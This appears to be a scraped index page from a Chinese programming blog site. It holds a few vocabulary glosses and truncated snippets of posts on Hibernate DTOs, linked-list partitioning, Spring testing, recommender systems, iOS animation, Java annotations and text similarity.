pronounce 发音;宣告
repeat 重做;重复
majority 大多数;大半
native 本国的,本地的,本国
hibernate查询返回DTO对象,DTO封装了多个pojo对象的属性
frankco
POJO hibernate查询 DTO
DTO-数据传输对象;pojo-最纯粹的java对象与数据库中的表一一对应。
简单讲:DTO起到业务数据的传递作用,pojo则与持久层数据库打交道。
有时候我们需要查询返回DTO对象,因为DTO
Partition List
hcx2013
partition
Given a linked list and a value x, partition it such that all nodes less than x come before nodes greater than or equal to x.
You should preserve the original relative order of th
Spring MVC测试框架详解——客户端测试
jinnianshilongnian
上一篇《Spring MVC测试框架详解——服务端测试》已经介绍了服务端测试,接下来再看看如果测试Rest客户端,对于客户端测试以前经常使用的方法是启动一个内嵌的jetty/tomcat容器,然后发送真实的请求到相应的控制器;这种方式的缺点就是速度慢;自Spring 3.2开始提供了对RestTemplate的模拟服务器测试方式,也就是说使用RestTemplate测试时无须启动服务器,而是模拟一
关于推荐个人观点
liyonghui160com
推荐系统 关于推荐个人观点
回想起来,我也做推荐了3年多了,最近公司做了调整招聘了很多算法工程师,以为需要多么高大上的算法才能搭建起来的,从实践中走过来,我只想说【不是这样的】
第一次接触推荐系统是在四年前入职的时候,那时候,机器学习和大数据都是没有的概念,什么大数据处理开源软件根本不存在,我们用多台计算机web程序记录用户行为,用.net的w
不间断旋转的动画
pangyulei
动画
CABasicAnimation* rotationAnimation;
rotationAnimation = [CABasicAnimation animationWithKeyPath:@"transform.rotation.z"];
rotationAnimation.toValue = [NSNumber numberWithFloat: M
自定义annotation
sha1064616837
java enum annotation reflect
对象有的属性在页面上可编辑,有的属性在页面只可读,以前都是我们在页面上写死的,时间一久有时候会混乱,此处通过自定义annotation在类属性中定义。越来越发现Java的Annotation真心很强大,可以帮我们省去很多代码,让代码看上去简洁。
下面这个例子 主要用到了
1.自定义annotation:@interface,以及几个配合着自定义注解使用的几个注解
2.简单的反射
3.枚举
Spring 源码
up2pu
spring
1.Spring源代码
https://github.com/SpringSource/spring-framework/branches/3.2.x
注:兼容svn检出
2.运行脚本
import-into-eclipse.bat
注:需要设置JAVA_HOME为jdk 1.7
build.gradle
compileJava {
sourceCompatibilit
利用word分词来计算文本相似度
yangshangchuan
word word分词 文本相似度 余弦相似度 简单共有词
word分词提供了多种文本相似度计算方式:
方式一:余弦相似度,通过计算两个向量的夹角余弦值来评估他们的相似度
实现类:org.apdplat.word.analysis.CosineTextSimilarity
用法如下:
String text1 = "我爱购物";
String text2 = "我爱读书";
String text3 =